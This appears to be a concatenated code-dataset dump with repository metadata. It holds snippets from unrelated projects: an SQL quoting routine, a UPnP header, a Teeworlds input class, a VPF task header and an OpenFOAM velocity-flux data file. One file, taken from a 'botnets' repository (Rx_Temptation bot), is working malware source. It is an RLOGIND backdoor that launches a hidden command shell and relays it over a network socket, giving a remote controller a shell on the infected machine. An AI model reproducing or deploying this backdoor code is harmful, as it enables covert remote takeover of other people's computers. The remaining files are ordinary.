if ( previous == ':' ) // This is a bind variable
{
if ( m_bindVariables.find(expression) != m_bindVariables.end() )
return "\"" + expression + "\"";
else
return expression;
}
else if (previous == '.') // This is a variable in a table
{
// AV 05.10.10 why escape it ONLY if the table is known? (bug #73530...)
for ( std::map<std::string, std::set< std::string> >::const_iterator iTable = m_tablesAndColumns.begin();
iTable != m_tablesAndColumns.end();
++iTable )
{
if ( iTable->second.find(expression) != iTable->second.end() )
return "\"" + expression + "\"";
}
return expression;
}
else
{
if ( m_tablesAndColumns.find(expression) != m_tablesAndColumns.end() ||
m_tableAliases.find( expression ) != m_tableAliases.end() )
return "\"" + expression + "\"";
for ( std::map<std::string, std::set< std::string> >::const_iterator iTable = m_tablesAndColumns.begin();
iTable != m_tablesAndColumns.end();
++iTable )
{
if (iTable->second.find(expression) != iTable->second.end())
return "\"" + expression + "\"";
}
return expression;
}
}
| [
"cmsbuild@cern.ch"
] | cmsbuild@cern.ch |
36960c384c6ef21a6a76b8138149044ff68315bb | 237b12db875669024d0c197aa5226d618436591e | /include/upnpcfg.h | 2cc7715b0a4d6c10fa8707ed0eefee4194adc096 | [
"BSD-3-Clause"
] | permissive | r-lyeh-forks/libnat | 9101c16457182ef7384e0299ae3aef82248b28ff | 0025a7e10d1048c635f2517671be0ad349557792 | refs/heads/master | 2021-04-12T08:54:45.776620 | 2013-12-06T08:05:27 | 2013-12-06T08:05:27 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,493 | h | /* Copyright (c) 2009 maidsafe.net limited
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the maidsafe.net limited nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <boost/function.hpp>
#include <string>
#include <map>
namespace upnp {
const int kSearchTime = 2;
const int kLeaseDuration = 900;
const int kRefreshThreshold = 10;
const char kClientName[] = "libssu-nat-upnp";
enum ProtocolType {
kUdp = 0,
kTcp = 1
};
// params: port, protocol
typedef boost::function<void(const int&, const ProtocolType&)> upnp_callback;
struct PortMapping {
PortMapping(const int &port, const ProtocolType &protocol_)
: internal_port(port)
, external_port(port)
, protocol(protocol_)
, enabled(false)
, last_refresh()
{}
PortMapping(int in_port, int out_port, const ProtocolType &protocol_)
: internal_port(in_port)
, external_port(out_port)
, protocol(protocol_)
, enabled(false)
, last_refresh()
{}
int internal_port;
int external_port;
ProtocolType protocol;
bool enabled;
std::map<std::string, boost::uint32_t> last_refresh;
};
} // namespace upnp
| [
"berkus@gmail.com"
] | berkus@gmail.com |
361f7d869aaef9d7cca15dc01ead13a3a6e62781 | 32554d2b2fcd173826f41f5e416e5e4d09566a03 | /src/game/client/lineinput.cpp | 40c47d41176761c2808fe4d83caae51e97f10250 | [
"LicenseRef-scancode-other-permissive",
"Zlib"
] | permissive | fasterthanlime/teeworlds-ai | 741171227a987977f2a19cbb94d4ae60a6ddff32 | 82d3e372578a676937672fa012b6ab2110325015 | refs/heads/master | 2020-04-10T04:01:56.613815 | 2013-11-27T20:59:23 | 2013-11-27T20:59:23 | 329,879 | 7 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,310 | cpp | #include <engine/e_client_interface.h>
#include <string.h> // strlen
#include "lineinput.hpp"
LINEINPUT::LINEINPUT()
{
clear();
}
void LINEINPUT::clear()
{
mem_zero(str, sizeof(str));
len = 0;
cursor_pos = 0;
}
void LINEINPUT::set(const char *string)
{
str_copy(str, string, sizeof(str));
len = strlen(str);
cursor_pos = len;
}
void LINEINPUT::process_input(INPUT_EVENT e)
{
if(cursor_pos > len)
cursor_pos = len;
char c = e.ch;
int k = e.key;
// 127 is produced on Mac OS X and corresponds to the delete key
if (!(c >= 0 && c < 32) && c != 127)
{
if (len < sizeof(str) - 1 && cursor_pos < sizeof(str) - 1)
{
memmove(str + cursor_pos + 1, str + cursor_pos, len - cursor_pos + 1);
str[cursor_pos] = c;
cursor_pos++;
len++;
}
}
if(e.flags&INPFLAG_PRESS)
{
if (k == KEY_BACKSPACE && cursor_pos > 0)
{
memmove(str + cursor_pos - 1, str + cursor_pos, len - cursor_pos + 1);
cursor_pos--;
len--;
}
else if (k == KEY_DELETE && cursor_pos < len)
{
memmove(str + cursor_pos, str + cursor_pos + 1, len - cursor_pos);
len--;
}
else if (k == KEY_LEFT && cursor_pos > 0)
cursor_pos--;
else if (k == KEY_RIGHT && cursor_pos < len)
cursor_pos++;
else if (k == KEY_HOME)
cursor_pos = 0;
else if (k == KEY_END)
cursor_pos = len;
}
}
| [
"nddrylliog@gmail.com"
] | nddrylliog@gmail.com |
beb976d9287a79ecb5256d247f399909af9698d5 | 01cce225367c0a1ec6c7a2ee402721da6d852f02 | /PyNvCodec/TC/TC_CORE/inc/TC_CORE.hpp | 34e31d9abb2c1ab55a5d0c1bc70bf2a7eb77a275 | [
"Apache-2.0"
] | permissive | Dwells299/VideoProcessingFramework | e57ced4c68835634bdce723ceb04522ab363107e | ba47dcad8c285623c34b013e2a7180402ad0c707 | refs/heads/master | 2023-08-14T11:29:29.563982 | 2021-10-08T11:26:07 | 2021-10-08T11:26:07 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,788 | hpp | /*
* Copyright 2019 NVIDIA Corporation
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include "Version.hpp"
#include <cstdint>
#include <utility>
#if defined(_WIN32)
#define DllExport __declspec(dllexport)
#else
#define DllExport
#endif
namespace VPF {
/* Interface for data exchange;
* It represents memory object (CPU- or GPU-side memory etc.);
*/
class DllExport Token {
public:
Token &operator=(const Token &other) = delete;
Token(const Token &other) = delete;
virtual ~Token();
protected:
Token();
};
enum class TaskExecStatus { TASK_EXEC_SUCCESS, TASK_EXEC_FAIL };
/* Synchronization call which will be done after a blocking task;
*/
typedef void (*p_sync_call)(void *p_args);
/* Task is unit of processing; Inherit from this class to add user-defined
* processing stage;
*/
class DllExport Task {
public:
Task() = delete;
Task(const Task &other) = delete;
Task &operator=(const Task &other) = delete;
virtual ~Task();
/* Method to be overridden in ancestors;
*/
virtual TaskExecStatus Run();
/* Call this method to run the task;
*/
virtual TaskExecStatus Execute();
/* Sets given token as input;
* Doesn't take ownership of object passed by pointer, only stores it
* within inplementation;
*/
bool SetInput(Token *input, uint32_t input_num);
/* Sets given token as output;
* Doesn't take ownership of object passed by pointer, only stores it
* within inplementation;
*/
bool SetOutput(Token *output, uint32_t output_num);
/* Sets all inputs to nullptr;
*/
void ClearInputs();
/* Sets all outputs to nullptr;
*/
void ClearOutputs();
/* Returns pointer to task input in case of success, nullptr otherwise;
*/
Token *GetInput(uint32_t num_input = 0);
/* Returns pointer to task output in case of success, nullptr otherwise;
*/
Token *GetOutput(uint32_t num_output = 0);
/* Returns number of outputs;
*/
uint64_t GetNumOutputs() const;
/* Returns number of inputs;
*/
uint64_t GetNumInputs() const;
protected:
Task(const char *str_name, uint32_t num_inputs, uint32_t num_outputs,
p_sync_call sync_call = nullptr, void *p_args = nullptr);
/* Hidden implementation;
*/
struct TaskImpl *p_impl = nullptr;
};
} // namespace VPF | [
"rarzumanyan@nvidia.com"
] | rarzumanyan@nvidia.com |
8d53e8e3d7179de721cd76ad04d37c674af91186 | d49b8536d996a81fd2a356f2ccd850abd4447217 | /VirusPack/Rx_Temptation/session.cpp | d7a6884dbd3bdafecdf206203ec0c9691525e060 | [] | no_license | JonnyBanana/botnets | 28a90ab80f973478d54579f3d3eadc5feb33ff77 | 995b9c20aca5de0ae585ae17780a31e8bdfd9844 | refs/heads/master | 2021-07-01T01:51:01.211451 | 2020-10-22T23:14:57 | 2020-10-22T23:14:57 | 148,392,362 | 9 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 7,573 | cpp | #include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_RLOGIND
static PSESSION_DATA CreateSession(int threadnum)
{
PSESSION_DATA Session = NULL;
BOOL Result;
SECURITY_ATTRIBUTES SecurityAttributes;
HANDLE ShellStdinPipe = NULL, ShellStdoutPipe = NULL;
if ((Session = (PSESSION_DATA)malloc(sizeof(SESSION_DATA))) == NULL)
return (NULL);
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = TRUE;
if ((Result = CreatePipe(&Session->ReadPipeHandle,&ShellStdoutPipe,&SecurityAttributes,0)) == FALSE) {
addlogv("[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.", GetLastError());
goto Failure;
}
if ((Result = CreatePipe(&ShellStdinPipe,&Session->WritePipeHandle,&SecurityAttributes,0)) == FALSE) {
addlogv("[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.", GetLastError());
goto Failure;
}
Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe, threadnum);
CloseHandle(ShellStdinPipe);
CloseHandle(ShellStdoutPipe);
if (Session->ProcessHandle == NULL) {
addlog("[RLOGIND]: Failed to execute shell.");
goto Failure;
}
Session->ClientSocket = INVALID_SOCKET;
return (Session);
Failure:
if (ShellStdinPipe != NULL)
CloseHandle(ShellStdinPipe);
if (ShellStdoutPipe != NULL)
CloseHandle(ShellStdoutPipe);
if (Session->ReadPipeHandle != NULL)
CloseHandle(Session->ReadPipeHandle);
if (Session->WritePipeHandle != NULL)
CloseHandle(Session->WritePipeHandle);
free(Session);
return (NULL);
}
bool SessionRun(int threadnum)
{
PSESSION_DATA Session = CreateSession(threadnum);
SECURITY_ATTRIBUTES SecurityAttributes;
DWORD ThreadId;
HANDLE HandleArray[3];
assert(threads[threadnum].sock != INVALID_SOCKET);
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = false;
Session->ClientSocket = threads[threadnum].sock;
if ((Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes,0,
(LPTHREAD_START_ROUTINE)SessionReadShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) {
addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError());
Session->ClientSocket = INVALID_SOCKET;
return(false);
}
if ((Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes,0,
(LPTHREAD_START_ROUTINE)SessionWriteShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) {
addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError());
Session->ClientSocket = INVALID_SOCKET;
TerminateThread(Session->WriteShellThreadHandle, 0);
return(false);
}
HandleArray[0] = Session->ReadShellThreadHandle;
HandleArray[1] = Session->WriteShellThreadHandle;
HandleArray[2] = Session->ProcessHandle;
switch (WaitForMultipleObjects(3, HandleArray, false, 0xffffffff)) {
case WAIT_OBJECT_0 + 0:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 1:
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 2:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateThread(Session->ReadShellThreadHandle, 0);
break;
default:
addlogv("[RLOGIND]: WaitForMultipleObjects error: <%d>.", GetLastError());
break;
}
CloseHandle(Session->ReadShellThreadHandle);
CloseHandle(Session->WriteShellThreadHandle);
CloseHandle(Session->ProcessHandle);
CloseHandle(Session->ReadPipeHandle);
CloseHandle(Session->WritePipeHandle);
fclosesocket(Session->ClientSocket);
free(Session);
return(true);
}
static HANDLE StartShell(HANDLE ShellStdinPipeHandle, HANDLE ShellStdoutPipeHandle, int threadnum)
{
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
HANDLE ProcessHandle = NULL;
memset(&sinfo, 0, sizeof(sinfo));
memset(&pinfo, 0, sizeof(pinfo));
sinfo.lpTitle = NULL;
sinfo.cb = sizeof(STARTUPINFO);
sinfo.lpReserved = NULL;
sinfo.lpTitle = NULL;
sinfo.lpDesktop = NULL;
sinfo.dwX = sinfo.dwY = sinfo.dwXSize = sinfo.dwYSize = 0L;
sinfo.wShowWindow = SW_HIDE;
sinfo.lpReserved2 = NULL;
sinfo.cbReserved2 = 0;
sinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
sinfo.hStdInput = ShellStdinPipeHandle;
sinfo.hStdOutput = ShellStdoutPipeHandle;
DuplicateHandle(GetCurrentProcess(),ShellStdoutPipeHandle,
GetCurrentProcess(),&sinfo.hStdError,DUPLICATE_SAME_ACCESS,true,0);
if (CreateProcess(NULL,SHELL_COMMAND_LINE,NULL,NULL,true,0,NULL,NULL,&sinfo,&pinfo)) {
ProcessHandle = pinfo.hProcess;
threads[threadnum].pid = pinfo.dwProcessId;
CloseHandle(pinfo.hThread);
} else
addlogv("[RLOGIND]: Failed to execute shell, error: <%d>.", GetLastError());
return(ProcessHandle);
}
static void SessionReadShellThread(LPVOID param)
{
PSESSION_DATA Session = (PSESSION_DATA)param;
char Buffer[BUFFER_SIZE], Buffer2[BUFFER_SIZE+30];
DWORD BytesRead;
while (ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL)) {
DWORD BufferCnt, BytesToWrite;
BYTE PrevChar = 0;
for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) {
if (Buffer[BufferCnt] == '\n' && PrevChar != '\r')
Buffer2[BytesToWrite++] = '\r';
PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
assert(BytesToWrite < sizeof Buffer2);
}
if (fsend(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0)
break;
}
if (GetLastError() != ERROR_BROKEN_PIPE)
addlogv("[RLOGIND]: SessionReadShellThread exited, error: <%ld>.", GetLastError());
return;
}
static void SessionWriteShellThread(LPVOID param)
{
PSESSION_DATA Session = (PSESSION_DATA)param;
char RecvBuffer[1], Buffer[BUFFER_SIZE], EchoBuffer[5];
DWORD BytesWritten, BufferCnt = 0, EchoCnt, TossCnt = 0;
bool PrevWasFF = false;
while (frecv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) > 0) {
if (TossCnt > 0) {
TossCnt -= 1;
continue;
}
if (RecvBuffer[0] != 0xff)
PrevWasFF = false;
else {
if (! PrevWasFF)
PrevWasFF = true;
else {
TossCnt = 10;
PrevWasFF = false;
}
continue;
}
EchoCnt = 0;
if (RecvBuffer[0] == CHAR_BS || RecvBuffer[0] == CHAR_DEL) {
if (BufferCnt > 0) {
BufferCnt -= 1;
EchoBuffer[EchoCnt++] = CHAR_BS;
EchoBuffer[EchoCnt++] = ' ';
EchoBuffer[EchoCnt++] = CHAR_BS;
}
} else if (RecvBuffer[0] == CHAR_CTRL_C) {
GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
} else if (RecvBuffer[0] == CHAR_CTRL_U) {
BufferCnt = 0;
EchoBuffer[EchoCnt++] = ' ';
EchoBuffer[EchoCnt++] = 'X';
EchoBuffer[EchoCnt++] = 'X';
EchoBuffer[EchoCnt++] = 'X';
EchoBuffer[EchoCnt++] = '\r';
EchoBuffer[EchoCnt++] = '\n';
} else {
Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = RecvBuffer[0];
if (RecvBuffer[0] == '\r')
Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = '\n';
}
if (EchoCnt > 0 && fsend(Session->ClientSocket, EchoBuffer, EchoCnt, 0) <= 0)
break;
if (RecvBuffer[0] == '\r') {
if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt, &BytesWritten, NULL))
break;
BufferCnt = 0;
}
}
return;
}
#endif
| [
"mstr.be832920@gmail.com"
] | mstr.be832920@gmail.com |
460df049fd813a76a64ec361f53c3b95c7e39357 | 605b238e45360b6522192954f244c40a199fd687 | /blasius_laminar_github/3.95/phi | bc31721ac305ef54f65e1ad9dca170d45587f25b | [] | no_license | Ahmetcansavas/laminar_BL_OPENFOAM | 335a5b69b9ef05ae331ed42161de67912b4992f6 | c0d2dc5fb2e30027ac23e3a3ec0fac6e549471af | refs/heads/master | 2021-05-18T22:32:54.491995 | 2020-04-05T20:28:05 | 2020-04-05T20:28:05 | 251,456,279 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 232,783 | /*--------------------------------*- C++ -*----------------------------------*\
| ========= | |
| \\ / F ield | OpenFOAM: The Open Source CFD Toolbox |
| \\ / O peration | Version: v1912 |
| \\ / A nd | Website: www.openfoam.com |
| \\/ M anipulation | |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class surfaceScalarField;
location "3.95";
object phi;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
dimensions [0 3 -1 0 0 0 0];
oriented oriented;
internalField nonuniform List<scalar>
19000
(
1.1386e-06
-5.33564e-07
1.18756e-06
3.0831e-07
1.20719e-06
-2.72621e-06
1.26594e-06
9.64332e-07
1.27008e-06
1.18444e-06
1.31549e-06
2.47442e-06
1.26873e-06
-2.07929e-07
1.19293e-06
-6.37352e-07
1.16492e-06
-2.26678e-06
1.17722e-06
-1.76965e-06
1.20835e-06
-1.6775e-06
1.23867e-06
-5.64536e-07
1.25628e-06
-1.72736e-07
1.27504e-06
-8.30489e-08
1.30151e-06
6.57802e-07
1.27143e-06
-1.72832e-07
1.31353e-06
8.06398e-07
1.24316e-06
-2.40295e-07
1.26814e-06
4.11145e-07
-3.46118e-07
1.16184e-06
1.19719e-06
-5.06496e-07
1.24494e-06
2.60564e-07
1.27335e-06
-2.75462e-06
1.33536e-06
9.02317e-07
1.33586e-06
1.18394e-06
1.38711e-06
2.42318e-06
1.33435e-06
-1.55172e-07
1.25908e-06
-5.62077e-07
1.20574e-06
-2.21345e-06
1.20776e-06
-1.77166e-06
1.24534e-06
-1.71508e-06
1.28919e-06
-6.0839e-07
1.3114e-06
-1.94941e-07
1.33899e-06
-1.10641e-07
1.35967e-06
6.37123e-07
1.34772e-06
-1.60882e-07
1.36983e-06
7.84285e-07
1.33134e-06
-2.01802e-07
1.32211e-06
4.20369e-07
-2.94134e-07
1.27013e-06
1.25727e-06
-4.80981e-07
1.29137e-06
2.26464e-07
1.32737e-06
-2.79062e-06
1.40753e-06
8.22156e-07
1.41446e-06
1.17701e-06
1.45419e-06
2.38345e-06
1.39638e-06
-9.73614e-08
1.32438e-06
-4.90075e-07
1.26101e-06
-2.15008e-06
1.25476e-06
-1.76542e-06
1.28289e-06
-1.74321e-06
1.33399e-06
-6.59492e-07
1.36668e-06
-2.27628e-07
1.39826e-06
-1.42226e-07
1.43216e-06
6.03229e-07
1.42676e-06
-1.55488e-07
1.45143e-06
7.59615e-07
1.42222e-06
-1.72586e-07
1.41629e-06
4.26297e-07
-2.43028e-07
1.36518e-06
1.31939e-06
-4.56266e-07
1.33163e-06
2.14226e-07
1.36931e-06
-2.82831e-06
1.47276e-06
7.1871e-07
1.50004e-06
1.14973e-06
1.52612e-06
2.35737e-06
1.46397e-06
-3.5218e-08
1.39388e-06
-4.1998e-07
1.32364e-06
-2.07984e-06
1.30852e-06
-1.7503e-06
1.32646e-06
-1.76115e-06
1.37908e-06
-7.12116e-07
1.42205e-06
-2.70603e-07
1.45984e-06
-1.80006e-07
1.50211e-06
5.6095e-07
1.5047e-06
-1.58077e-07
1.52793e-06
7.3639e-07
1.49951e-06
-1.44169e-07
1.49466e-06
4.31143e-07
-1.81757e-07
1.43339e-06
1.38549e-06
-4.33399e-07
1.37279e-06
2.26926e-07
1.40478e-06
-2.8603e-06
1.52824e-06
5.95243e-07
1.58381e-06
1.09417e-06
1.60008e-06
2.3411e-06
1.53218e-06
3.26848e-08
1.46545e-06
-3.5325e-07
1.39255e-06
-2.00694e-06
1.37051e-06
-1.72826e-06
1.37985e-06
-1.77048e-06
1.43152e-06
-7.63787e-07
1.48108e-06
-3.2016e-07
1.52529e-06
-2.2422e-07
1.57447e-06
5.11767e-07
1.58186e-06
-1.65462e-07
1.6088e-06
7.09447e-07
1.57863e-06
-1.13993e-07
1.57415e-06
4.35616e-07
-1.14895e-07
1.50729e-06
1.45721e-06
-4.14934e-07
1.4228e-06
2.61336e-07
1.44386e-06
-2.88136e-06
1.5807e-06
4.58402e-07
1.66267e-06
1.01221e-06
1.67483e-06
2.32893e-06
1.60223e-06
1.05278e-07
1.53929e-06
-2.903e-07
1.46474e-06
-1.9324e-06
1.43818e-06
-1.7017e-06
1.44175e-06
-1.77404e-06
1.49289e-06
-8.14931e-07
1.54604e-06
-3.73312e-07
1.59545e-06
-2.73625e-07
1.64984e-06
4.57373e-07
1.6609e-06
-1.7652e-07
1.69079e-06
6.79551e-07
1.65813e-06
-8.13286e-08
1.6531e-06
4.40645e-07
-4.30581e-08
1.58126e-06
1.53448e-06
-4.03197e-07
1.48616e-06
3.0966e-07
1.49508e-06
-2.89028e-06
1.63835e-06
3.15127e-07
1.73806e-06
9.12499e-07
1.74909e-06
2.31791e-06
1.67337e-06
1.80996e-07
1.61512e-06
-2.32047e-07
1.5399e-06
-1.85718e-06
1.51024e-06
-1.67204e-06
1.50984e-06
-1.77365e-06
1.5616e-06
-8.6669e-07
1.61646e-06
-4.28176e-07
1.66979e-06
-3.26949e-07
1.72795e-06
3.99214e-07
1.74134e-06
-1.89907e-07
1.77352e-06
6.4737e-07
1.73739e-06
-4.52e-08
1.73116e-06
4.46871e-07
3.23184e-08
1.65579e-06
1.61573e-06
-3.98793e-07
1.56296e-06
3.62422e-07
1.56124e-06
-2.88856e-06
1.70326e-06
1.7311e-07
1.81003e-06
8.05725e-07
1.82147e-06
2.30647e-06
1.74524e-06
2.57232e-07
1.69304e-06
-1.79845e-07
1.61823e-06
-1.78237e-06
1.58613e-06
-1.63994e-06
1.58212e-06
-1.76964e-06
1.63483e-06
-9.194e-07
1.68999e-06
-4.83341e-07
1.74626e-06
-3.83217e-07
1.807e-06
3.3848e-07
1.82126e-06
-2.04167e-07
1.85482e-06
6.1381e-07
1.81459e-06
-4.97914e-09
1.80686e-06
4.54605e-07
1.09537e-07
1.72964e-06
1.69925e-06
-4.00469e-07
1.65027e-06
4.11401e-07
1.63934e-06
-2.87763e-06
1.77114e-06
4.13009e-08
1.87602e-06
7.0085e-07
1.89036e-06
2.29213e-06
1.81761e-06
3.29974e-07
1.773e-06
-1.35227e-07
1.69991e-06
-1.70928e-06
1.66589e-06
-1.60593e-06
1.65742e-06
-1.76116e-06
1.70979e-06
-9.71774e-07
1.76357e-06
-5.37119e-07
1.82161e-06
-4.41257e-07
1.88384e-06
2.76255e-07
1.89761e-06
-2.1794e-07
1.93193e-06
5.7949e-07
1.88772e-06
3.92267e-08
1.87884e-06
4.63486e-07
1.86417e-07
1.80196e-06
1.78428e-06
-4.06022e-07
1.74416e-06
4.51517e-07
1.72406e-06
-2.85753e-06
1.83727e-06
-7.1912e-08
1.93447e-06
6.03655e-07
1.95546e-06
2.27114e-06
1.89086e-06
3.94571e-07
1.85496e-06
-9.93249e-08
1.78494e-06
-1.63925e-06
1.74981e-06
-1.57081e-06
1.7355e-06
-1.74685e-06
1.78469e-06
-1.02097e-06
1.83474e-06
-5.87169e-07
1.89256e-06
-4.99074e-07
1.95502e-06
2.13791e-07
1.96715e-06
-2.30067e-07
2.00203e-06
5.44611e-07
1.955e-06
8.62532e-08
1.94604e-06
4.72452e-07
2.6014e-07
1.87231e-06
1.87102e-06
-4.13297e-07
1.84148e-06
4.81065e-07
1.81169e-06
-2.82774e-06
1.90143e-06
-1.61655e-07
1.98801e-06
5.17072e-07
2.01885e-06
2.2403e-06
1.96595e-06
4.47468e-07
1.93899e-06
-7.23632e-08
1.87312e-06
-1.57338e-06
1.83811e-06
-1.5358e-06
1.81687e-06
-1.72561e-06
1.85931e-06
-1.06341e-06
1.90284e-06
-6.30696e-07
1.95732e-06
-5.53551e-07
2.01831e-06
1.52799e-07
2.02775e-06
-2.39506e-07
2.06326e-06
5.09102e-07
2.01563e-06
1.33883e-07
2.00824e-06
4.79844e-07
3.27439e-07
1.94094e-06
1.96023e-06
-4.2069e-07
1.94062e-06
5.00674e-07
1.90138e-06
-2.7885e-06
1.96769e-06
-2.27972e-07
2.04258e-06
4.42191e-07
2.0841e-06
2.19878e-06
2.04409e-06
4.87471e-07
2.02538e-06
-5.36455e-08
1.96425e-06
-1.51225e-06
1.93078e-06
-1.50232e-06
1.90244e-06
-1.69728e-06
1.93512e-06
-1.09608e-06
1.96957e-06
-6.65146e-07
2.01677e-06
-6.0076e-07
2.07404e-06
9.55336e-08
2.07971e-06
-2.4518e-07
2.11587e-06
4.72947e-07
2.07051e-06
1.79243e-07
2.06664e-06
4.83716e-07
3.85072e-07
2.00901e-06
2.0527e-06
-4.27197e-07
2.04143e-06
5.11945e-07
1.9941e-06
-2.74117e-06
2.04075e-06
-2.74624e-07
2.10385e-06
3.79094e-07
2.15443e-06
2.1482e-06
2.12635e-06
5.15551e-07
2.11472e-06
-4.20199e-08
2.05833e-06
-1.45587e-06
2.02754e-06
-1.47153e-06
1.99304e-06
-1.66279e-06
2.01459e-06
-1.11762e-06
2.03854e-06
-6.8909e-07
2.0747e-06
-6.36927e-07
2.12577e-06
4.44633e-08
2.12655e-06
-2.45961e-07
2.16303e-06
4.36469e-07
2.12277e-06
2.19508e-07
2.12405e-06
4.82432e-07
4.30409e-07
2.07871e-06
2.14908e-06
-4.32281e-07
2.14455e-06
5.16484e-07
2.09105e-06
-2.68768e-06
2.12294e-06
-3.06506e-07
2.17469e-06
3.27343e-07
2.23166e-06
2.09123e-06
2.21355e-06
5.33658e-07
2.20795e-06
-3.64195e-08
2.15575e-06
-1.40366e-06
2.12808e-06
-1.44387e-06
2.08906e-06
-1.62376e-06
2.10013e-06
-1.12869e-06
2.1138e-06
-7.02766e-07
2.13659e-06
-6.59717e-07
2.17954e-06
1.51517e-09
2.17453e-06
-2.40944e-07
2.2106e-06
4.0039e-07
2.17744e-06
2.52674e-07
2.18459e-06
4.7528e-07
4.62056e-07
2.15294e-06
2.24993e-06
-4.3572e-07
2.2509e-06
5.15516e-07
2.19287e-06
-2.62966e-06
2.21401e-06
-3.27646e-07
2.25522e-06
2.86137e-07
2.31642e-06
2.03003e-06
2.30641e-06
5.43661e-07
2.30605e-06
-3.60584e-08
2.25714e-06
-1.35475e-06
2.23231e-06
-1.41903e-06
2.19043e-06
-1.58188e-06
2.19306e-06
-1.13133e-06
2.19822e-06
-7.07931e-07
2.20758e-06
-6.6907e-07
2.24178e-06
-3.26816e-08
2.23073e-06
-2.299e-07
2.26553e-06
3.65587e-07
2.24017e-06
2.78033e-07
2.25266e-06
4.62794e-07
4.80154e-07
2.23456e-06
2.35567e-06
-4.37511e-07
2.36128e-06
5.09902e-07
2.29972e-06
-2.56809e-06
2.31278e-06
-3.40707e-07
2.34459e-06
2.54321e-07
2.40897e-06
1.96566e-06
2.40558e-06
5.47049e-07
2.40981e-06
-4.02808e-08
2.36322e-06
-1.30817e-06
2.34041e-06
-1.39622e-06
2.2969e-06
-1.53837e-06
2.2935e-06
-1.12792e-06
2.29266e-06
-7.07092e-07
2.29061e-06
-6.67022e-07
2.31693e-06
-5.90011e-08
2.30062e-06
-2.13588e-07
2.33344e-06
3.32771e-07
2.31541e-06
2.96061e-07
2.33164e-06
4.46559e-07
4.86196e-07
2.3256e-06
2.46667e-06
-4.37781e-07
2.47628e-06
5.00292e-07
2.41164e-06
-2.50346e-06
2.41843e-06
-3.47499e-07
2.44232e-06
2.30435e-07
2.50968e-06
1.89829e-06
2.51159e-06
5.45141e-07
2.51965e-06
-4.83353e-08
2.47455e-06
-1.26307e-06
2.45284e-06
-1.37451e-06
2.4084e-06
-1.49393e-06
2.40087e-06
-1.1204e-06
2.3964e-06
-7.02623e-07
2.38603e-06
-6.56642e-07
2.40636e-06
-7.93335e-08
2.38636e-06
-1.93595e-07
2.41685e-06
3.02288e-07
2.40506e-06
3.07845e-07
2.42307e-06
4.28554e-07
4.82508e-07
2.42676e-06
2.58323e-06
-4.36716e-07
2.5963e-06
4.87226e-07
